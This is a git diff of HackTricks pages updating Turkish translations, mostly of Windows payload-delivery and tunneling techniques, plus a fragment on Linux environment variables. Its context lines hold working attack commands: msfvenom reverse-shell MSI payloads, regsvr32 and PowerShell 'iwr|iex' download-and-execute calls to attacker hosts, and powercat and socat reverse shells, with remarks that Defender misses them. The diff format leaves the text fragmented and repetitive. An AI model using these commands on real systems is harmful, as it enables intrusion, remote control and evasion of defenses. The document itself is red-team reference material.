Metasploit has a module that can be used to execute malicious payloads through Mshta. This technique can be useful for bypassing application whitelisting or executing code through a trusted Windows utility. ```bash use exploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 @@ -270,7 +271,7 @@ set lhost 10.2.0.5 run #You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll ``` -**Koadic zombi dosyasını regsvr aracılığıyla çok kolay bir şekilde indirebilir ve çalıştırabilirsiniz** +**Koadic zombi dosyasını regsvr aşamasını kullanarak çok kolay bir şekilde indirebilir ve çalıştırabilirsiniz** ## Certutil @@ -320,7 +321,7 @@ Saldırgan msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi python -m SimpleHTTPServer 80 ``` -Hedef: +Kurban: ``` victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi ``` @@ -328,7 +329,7 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi ## **Wmic** -* [Buradan](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) alındı +* [Buradan](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash wmic os get /format:"https://webserver/payload.xsl" ``` @@ -344,9 +345,9 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N ``` -**Algılanamaz** +**Algılanmadı** -**Koadic zombi dosyasını wmic aracılığıyla çok kolay bir şekilde indirebilir ve çalıştırabilirsiniz** +**Koadic zombisini çok kolay bir şekilde wmic aşamasını kullanarak indirebilir ve çalıştırabilirsiniz** ## Msbuild @@ -363,13 +364,13 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj ## **CSC** -Kurban makinede C# kodunu derleyin. +Kurban makinede C# kodunu derle. ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs ``` İşte temel bir C# ters kabuk indirebilirsiniz: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) -**Algılanmadı** +**Tespit edilmedi** ## **Regasm/Regsvc** @@ -401,7 +402,7 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} ``` Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 ``` -Sunucuda betiği hizmete başlatın ve kurbanın ucunda çalıştırın: +Kurbanın sonunda betiği çalıştırmak için bir web sunucusunda betiği sunmaya başlayın: ``` powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex" ``` @@ -413,15 +414,15 @@ Defender henüz kötü amaçlı kod olarak algılamıyor (henüz, 3/04/2019). [**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat) -İndirin, bir web sunucusu başlatın, dinleyiciyi başlatın ve kurbanın ucunda çalıştırın: +İndir, bir web sunucusu başlat, dinleyiciyi başlat ve kurbanın ucunda çalıştır: ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` -**Defender henüz kötü amaçlı kod olarak algılamıyor (ancak, 3/04/2019).** +Defender henüz kötü amaçlı kod olarak algılamıyor (henüz, 3/04/2019). **Powercat tarafından sunulan diğer seçenekler:** -Bind shell'ler, Ters shell (TCP, UDP, DNS), Port yönlendirme, yükleme/indirme, Payload'lar oluşturma, Dosyalar sunma... +Bağlama kabukları, Ters kabuk (TCP, UDP, DNS), Port yönlendirme, yükleme/indirme, Yük oluşturma, Dosyaları sunma... ``` Serve a cmd Shell: powercat -l -p 443 -e cmd @@ -442,7 +443,7 @@ powercat -l -p 443 -i C:\inputfile -rep [https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire) -Bir powershell başlatıcısı oluşturun, bir dosyaya kaydedin ve onu indirip çalıştırın. +Bir powershell başlatıcısı oluşturun, bir dosyaya kaydedin ve indirip çalıştırın. ``` powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` @@ -452,7 +453,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn) -Metasploit arka kapı için unicorn kullanarak bir powershell versiyonu oluşturun +Unicorn kullanarak metasploit arka kapısının bir PowerShell versiyonunu oluşturun ``` python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443 ``` @@ -460,7 +461,7 @@ Oluşturulan kaynakla msfconsole'ı başlatın: ``` msfconsole -r unicorn.rc ``` -Hedefte _powershell\_attack.txt_ dosyasını sunan bir web sunucusu başlatın ve aşağıdaki komutu hedefte çalıştırın: +Başlangıçta _powershell\_attack.txt_ dosyasını sunan bir web sunucusu başlatın ve kurban üzerinde şunu çalıştırın: ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ``` @@ -484,7 +485,7 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) Bazı saldırgan PS modülleri ​ **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -496,8 +497,8 @@ HackTricks'i desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.** * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. diff --git a/generic-methodologies-and-resources/tunneling-and-port-forwarding.md b/generic-methodologies-and-resources/tunneling-and-port-forwarding.md index 2cff15308..51bbef0ea 100644 --- a/generic-methodologies-and-resources/tunneling-and-port-forwarding.md +++ b/generic-methodologies-and-resources/tunneling-and-port-forwarding.md @@ -4,17 +4,17 @@ Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! -* **Bir siber güvenlik şirketinde mi çalışıyorsunuz?** **Şirketinizi HackTricks'te reklamını görmek ister misiniz?** veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin.** +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**. * **Hacking püf noktalarınızı paylaşarak PR'ler göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. **Try Hard Güvenlik Grubu** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -76,7 +76,7 @@ ssh -f -N -D @ #All sent to local port ``` ### Ters Port Yönlendirme -Bu, iç ağdaki iç sunuculardan ters kabuk almak için DMZ üzerinden kendi sunucunuza ulaşmanızı sağlar: +Bu, iç ağdaki ana bilgisayarlar üzerinden bir DMZ aracılığıyla ters kabuk almak için kullanışlıdır: ```bash ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000 @@ -108,8 +108,8 @@ route add -net 10.0.0.0/16 gw 1.1.1.1 ``` ## SSHUTTLE -Tüm trafiği bir ana makine üzerinden bir alt ağa **ssh** ile **tünelleyebilirsiniz**.\ -Örneğin, 10.10.10.0/24'e giden tüm trafiği yönlendirebilirsiniz. +Bir **alt ağ** üzerinden tüm **trafiği** bir ana makineye **ssh** ile **tünelleyebilirsiniz**.\ +Örneğin, 10.10.10.0/24'e giden tüm trafiği yönlendirme ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 @@ -130,7 +130,7 @@ portfwd add -l -p -r ``` ### SOCKS -SOCKS (Socket Secure) protokolü, ağ trafiğini bir ağ üzerinden yönlendirmek için kullanılan bir protokoldür. SOCKS sunucusu, istemci isteklerini alır, kimlik doğrulamasını yapar ve ardından istemci isteğini hedef sunucuya ileterek trafiği yönlendirir. Bu, ağ trafiğini güvenli bir şekilde tünellemek için kullanılabilir. +SOCKS (Socket Secure) protokolü, ağ trafiğini bir ağ üzerinden yönlendirmek için kullanılan bir protokoldür. SOCKS sunucuları, istemci isteklerini alır ve hedef sunuculara iletmek için yönlendirme yapar. Bu, ağ trafiğini gizlemek ve coğrafi kısıtlamaları aşmak için kullanılabilir. ```bash background# meterpreter session route add # (ex: route add 10.10.10.14 255.255.255.0 8) @@ -166,20 +166,16 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ### rPort2Port {% hint style="warning" %} -Bu durumda, **liman, işaretçi ana bilgisayarında açılır**, Takım Sunucusunda değil ve trafik Takım Sunucusuna ve oradan belirtilen ana bilgisayar:limana gönderilir. +Bu durumda, **liman, işaret fişine açılır**, Takım Sunucusunda değil ve trafik Takım Sunucusuna gönderilir ve oradan belirtilen ana makine:limana yönlendirilir. {% endhint %} ```bash rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] ``` -- Beacon'ın ters port yönlendirmesi, **trafiği Takım Sunucusuna tünelleme amacıyla tasarlanmıştır, bireysel makineler arasında iletim için değil**. -- Trafik, Beacon'ın C2 trafiği içinde **tünellenir**, P2P bağlantıları da içerir. -- Yüksek portlarda ters port yönlendirmeleri oluşturmak için **Yönetici ayrıcalıklarına ihtiyaç duyulmaz**. - ### rPort2Port yerel {% hint style="warning" %} -Bu durumda, **port Beacon ana bilgisayarında açılır**, Takım Sunucusunda değil ve trafik **Cobalt Strike istemcisine gönderilir** (Takım Sunucusuna değil) ve oradan belirtilen ana bilgisayar:port'a iletilir. +Bu durumda, **liman Beacon ana bilgisayarında açılır**, Team Sunucusunda değil ve **trafik Cobalt Strike istemcisine gönderilir** (Team Sunucusuna değil) ve oradan belirtilen ana bilgisayar:limana yönlendirilir. {% endhint %} ``` rportfwd_local [bind port] [forward host] [forward port] @@ -189,14 +185,14 @@ rportfwd_local stop [bind port] [https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg) -Web dosya tüneli yüklemeniz gerekmektedir: ashx|aspx|js|jsp|php|php|jsp +Bir web dosyası tüneli yüklemeniz gerekmektedir: ashx|aspx|js|jsp|php|php|jsp ```bash python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp ``` ## Chisel -[https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) sayfasından indirebilirsiniz.\ -**İstemci ve sunucu için aynı sürümü kullanmanız gerekmektedir** +[https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) yayın sayfasından indirebilirsiniz.\ +İstemci ve sunucu için **aynı sürümü kullanmanız gerekmektedir** ### socks ```bash @@ -207,7 +203,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t ./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed) ./chisel client -v 10.10.10.10:8080 socks #Attacker ``` -### Port yönlendirme +### Port Yönlendirme ```bash ./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker ./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim @@ -216,7 +212,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t [https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot) -Ters tünel. Tünel kurban tarafından başlatılır.\ +Ters tünel. Tünel, kurban tarafından başlatılır.\ 127.0.0.1:1080 üzerinde bir socks4 vekil sunucu oluşturulur. ```bash attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080 @@ -242,40 +238,14 @@ victim> python client.py --server-ip --server-port 9999 --ntl victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP4::1337 ``` -### Ters kabuk +### Ters Kabuk ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` ### Port2Port ---- - -Port2Port, a simple port forwarding tool, can be used to forward traffic from one port to another on the same machine or across different machines. This tool can be useful during penetration testing when pivoting through multiple compromised hosts. - -#### Usage - -To forward traffic from port 1234 to port 5678 on the same machine, use the following command: - -```bash -port2port -l 1234 -r 5678 -``` - -To forward traffic from port 1234 on one machine to port 5678 on another machine with IP address `10.0.0.2`, use the following command: - -```bash -port2port -l 1234 -r 5678 -d 10.0.0.2 -``` - -Port2Port can also be used to forward traffic over SSH by specifying the SSH username and hostname: - -```bash -port2port -l 1234 -r 5678 -ssh user@hostname -``` - -#### Conclusion - -Port2Port is a versatile tool that can be used for port forwarding within the same machine or across different machines, making it a valuable asset during penetration testing scenarios. +### Port2Port ```bash socat TCP4-LISTEN:,fork TCP4:: & ``` @@ -283,7 +253,7 @@ socat TCP4-LISTEN:,fork TCP4:: & ```bash socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 ``` -### SSL Socat ile Meterpreter +### SSL üzerinden Meterpreter ile Socat ```bash #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333 @@ -297,7 +267,7 @@ Kurbanın konsolunda son yerine bu satırı çalıştırarak **kimlik doğrulama ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` -[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/) +[https://funoverip.net/2011/01/socat-ile-ters-ssl-arka-kapisi-ve-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/) ### SSL Socat Tüneli @@ -319,7 +289,7 @@ victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server. ``` ### Uzaktan Port2Port -Yerel SSH portunu (22) saldırganın ana bilgisayarının 443 portuna bağlayın +Yerel SSH portunu (22) saldırganın ana makinesinin 443 portuna bağlayın ```bash attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost victim> while true; do socat TCP4::443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 @@ -327,7 +297,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o ``` ## Plink.exe -Bu, konsol PuTTY sürümü gibidir (seçenekler bir ssh istemcisiyle çok benzerdir). +Bu, konsol PuTTY sürümü gibidir (seçenekler bir ssh istemcisine çok benzer). Bu ikili, kurban üzerinde yürütüleceği için ve bir ssh istemcisi olduğu için, ters bağlantıya sahip olabilmek için ssh hizmetimizi ve bağlantı noktamızı açmamız gerekmektedir. Ardından, yalnızca yerel olarak erişilebilir bağlantı noktasını makinedeki bir bağlantı noktasına yönlendirmek için: ```bash @@ -350,20 +320,20 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 ``` ## SocksOverRDP ve Proxifier -Sisteme **RDP erişimine** ihtiyacınız var.\ +Sisteme **RDP erişiminiz olması gerekir**.\ İndir: 1. [SocksOverRDP x64 İkili Dosyaları](https://github.com/nccgroup/SocksOverRDP/releases) - Bu araç, Windows'un Uzak Masaüstü Hizmeti özelliğinden `Dynamic Virtual Channels` (`DVC`) kullanır. DVC, **paketleri RDP bağlantısı üzerinden tünelleme**den sorumludur. -2. [Proxifier Taşınabilir İkili](https://www.proxifier.com/download/#win-tab) +2. [Proxifier Taşınabilir İkili Dosyası](https://www.proxifier.com/download/#win-tab) -İstemci bilgisayarınıza şu şekilde **`SocksOverRDP-Plugin.dll`** yükleyin: +İstemci bilgisayarınızda **`SocksOverRDP-Plugin.dll`** dosyasını şu şekilde yükleyin: ```bash # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` -Şimdi **`mstsc.exe`** kullanarak **RDP** üzerinden **hedefe bağlanabiliriz**, ve **SocksOverRDP eklentisinin etkinleştirildiğini** belirten bir **diyalog kutusu** almalıyız ve **127.0.0.1:1080** üzerinde **dinleyecektir**. +Şimdi **`mstsc.exe`** kullanarak **RDP** üzerinden **hedefe bağlanabiliriz**, ve **SocksOverRDP eklentisinin etkinleştirildiğini** belirten bir **uyarı** almalıyız ve **127.0.0.1:1080** üzerinde **dinleyecektir**. -**RDP** üzerinden bağlanın ve **`SocksOverRDP-Server.exe`** ikili dosyasını **hedef makinede yükleyip çalıştırın**: +**RDP** üzerinden bağlanın ve **hedef makinede** `SocksOverRDP-Server.exe` ikili dosyasını yükleyip çalıştırın: ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` @@ -371,13 +341,13 @@ C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` netstat -antb | findstr 1080 ``` -Şimdi o trafiği o bağlantı noktası üzerinden vekil sunucu aracılığıyla yönlendirmek için [**Proxifier**](https://www.proxifier.com/) **kullanabilirsiniz.** +Şimdi o trafiği o bağlantı noktası üzerinden vekillemek için [**Proxifier**](https://www.proxifier.com/) **kullanabilirsiniz.** ## Windows GUI Uygulamalarını Vekil Yapma -Windows GUI uygulamalarını bir vekil aracılığıyla gezinmek için [**Proxifier**](https://www.proxifier.com/) kullanabilirsiniz.\ -**Profil -> Vekil Sunucular** bölümüne SOCKS sunucusunun IP'sini ve bağlantı noktasını ekleyin.\ -**Profil -> Vekillik Kuralları** bölümüne vekilleştirmek istediğiniz programın adını ve vekilleştirmek istediğiniz IP'lerin bağlantılarını ekleyin. +Windows GUI uygulamalarını bir vekil üzerinden gezinmek için [**Proxifier**](https://www.proxifier.com/) kullanabilirsiniz.\ +**Profil -> Vekil Sunucular** bölümünde SOCKS sunucusunun IP'sini ve bağlantı noktasını ekleyin.\ +**Profil -> Vekillendirme Kuralları** bölümünde vekilleştirmek istediğiniz programın adını ve vekilleştirmek istediğiniz IP'lerin bağlantılarını ekleyin. ## NTLM vekil atlatma @@ -399,12 +369,12 @@ Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` -Şimdi, örneğin kurbanın **SSH** servisini 443 numaralı porta dinlemesi için ayarlarsanız, saldırgan 2222 numaralı porta bağlanabilir.\ -Ayrıca, localhost:443'e bağlanan bir **meterpreter** kullanabilir ve saldırgan 2222 numaralı porta dinler. +Şimdi, örneğin kurbanın **SSH** servisini 443 numaralı porta dinlemesi için ayarlarsanız. Saldırgan port 2222 üzerinden buna bağlanabilirsiniz.\ +Ayrıca localhost:443'e bağlanan bir **meterpreter** kullanabilir ve saldırgan 2222 numaralı porta dinleyebilir. ## YARP -Microsoft tarafından oluşturulan bir ters proxy. [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) adresinde bulabilirsiniz. +Microsoft tarafından oluşturulan bir ters proxy. Burada bulabilirsiniz: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) ## DNS Tünellemesi @@ -412,13 +382,13 @@ Microsoft tarafından oluşturulan bir ters proxy. [https://github.com/microsoft [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) -DNS sorgularını kullanarak iki sistem arasında tüneller oluşturmak için her iki sistemde de kök yetkisi gereklidir. +Her iki sistemde de kök erişimi gereklidir, tun adaptörleri oluşturmak ve DNS sorgularını kullanarak aralarında veri tünellemek için. ``` attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r #You can see the victim at 1.1.1.2 ``` -Tünel çok yavaş olacak. Bu tünel aracılığıyla sıkıştırılmış bir SSH bağlantısı oluşturabilirsiniz: +Tünel çok yavaş olacak. Bununla birlikte, şu yöntemi kullanarak bu tünel üzerinden sıkıştırılmış bir SSH bağlantısı oluşturabilirsiniz: ``` ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 ``` @@ -449,7 +419,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b ``` #### Proxychains DNS'ini Değiştirme -Proxychains, `gethostbyname` libc çağrısını engeller ve tcp DNS isteğini socks proxy üzerinden tünel oluşturur. **Varsayılan olarak**, proxychains'in kullandığı **DNS** sunucusu **4.2.2.2**'dir (sabitlenmiş). Değiştirmek için, dosyayı düzenleyin: _/usr/lib/proxychains3/proxyresolv_ ve IP'yi değiştirin. Eğer **Windows ortamında** iseniz, **alan denetleyicisinin** IP'sini ayarlayabilirsiniz. +Proxychains, `gethostbyname` libc çağrısını engeller ve tcp DNS isteğini socks proxy üzerinden tünel oluşturur. **Varsayılan olarak**, proxychains'in kullandığı **DNS** sunucusu **4.2.2.2**'dir (sabitlenmiş). Değiştirmek için, dosyayı düzenleyin: _/usr/lib/proxychains3/proxyresolv_ ve IP'yi değiştirin. Eğer **Windows ortamında**ysanız, **alan denetleyicisinin** IP'sini ayarlayabilirsiniz. ## Go'da Tüneller @@ -487,7 +457,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1 ## ngrok **[ngrok](https://ngrok.com/) bir komut satırında internete çözümleri açığa çıkarmak için bir araçtır.** -*Sunum URI'leri şuna benzer:* **UID.ngrok.io** +*Açığa çıkarma URI'leri şuna benzer:* **UID.ngrok.io** ### Kurulum @@ -501,9 +471,9 @@ chmod a+x ./ngrok ``` ### Temel kullanımlar -**Belgeler:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). +**Belgelendirme:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). -*Mevcut ise kimlik doğrulama ve TLS eklemek de mümkündür.* +*Gerekirse kimlik doğrulama ve TLS eklemek de mümkündür.* #### TCP Tünellemesi ```bash @@ -513,7 +483,7 @@ chmod a+x ./ngrok # Listen (example): nc -nvlp 4444 # Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345 ``` -#### HTTP ile dosyaların açığa çıkarılması +#### Dosyaları HTTP ile Açığa Çıkarma ```bash ./ngrok http file:///tmp/httpbin/ # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ @@ -552,7 +522,7 @@ addr: file:///tmp/httpbin/ **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -560,12 +530,12 @@ addr: file:///tmp/httpbin/
-Sıfırdan kahraman olana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olana kadar AWS hackleme konusunda öğrenin htARTE (HackTricks AWS Red Team Expert)! * **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek** ister misiniz? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna** katılın veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/linux-hardening/linux-environment-variables.md b/linux-hardening/linux-environment-variables.md index 7bbe1054f..70a790d74 100644 --- a/linux-hardening/linux-environment-variables.md +++ b/linux-hardening/linux-environment-variables.md @@ -2,21 +2,21 @@
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com) -* [**The PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**] koleksiyonumuz (https://opensea.io/collection/the-peass-family) -* **Katılın** 💬 [**Discord grubuna**] (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**] veya bizi **Twitter** 🐦 [**@hacktricks_live**] (https://twitter.com/hacktricks_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**] (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**] (https://github.com/carlospolop/hacktricks-cloud) github depolarına. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
**Try Hard Güvenlik Grubu** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -24,7 +24,7 @@ HackTricks'ı desteklemenin diğer yolları: ## Global değişkenler -Global değişkenler **çocuk işlemler** tarafından **devralınacaktır**. +Global değişkenler **çocuk işlemler tarafından miras alınacaktır**. Mevcut oturumunuz için bir global değişken oluşturabilirsiniz: ```bash @@ -39,17 +39,13 @@ unset MYGLOBAL ``` ## Yerel değişkenler -**Yerel değişkenler** yalnızca **mevcut kabuk/senkron** tarafından **erişilebilir**. +**Yerel değişkenler** yalnızca **mevcut kabuk / betik** tarafından **erişilebilir**. ```bash LOCAL="my local" echo $LOCAL unset LOCAL ``` ## Mevcut değişkenleri listele - -```bash -printenv -``` ```bash set env @@ -61,7 +57,7 @@ cat /proc/`python -c "import os; print(os.getppid())"`/environ Kaynak: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/) -* **DISPLAY** – **X** tarafından kullanılan 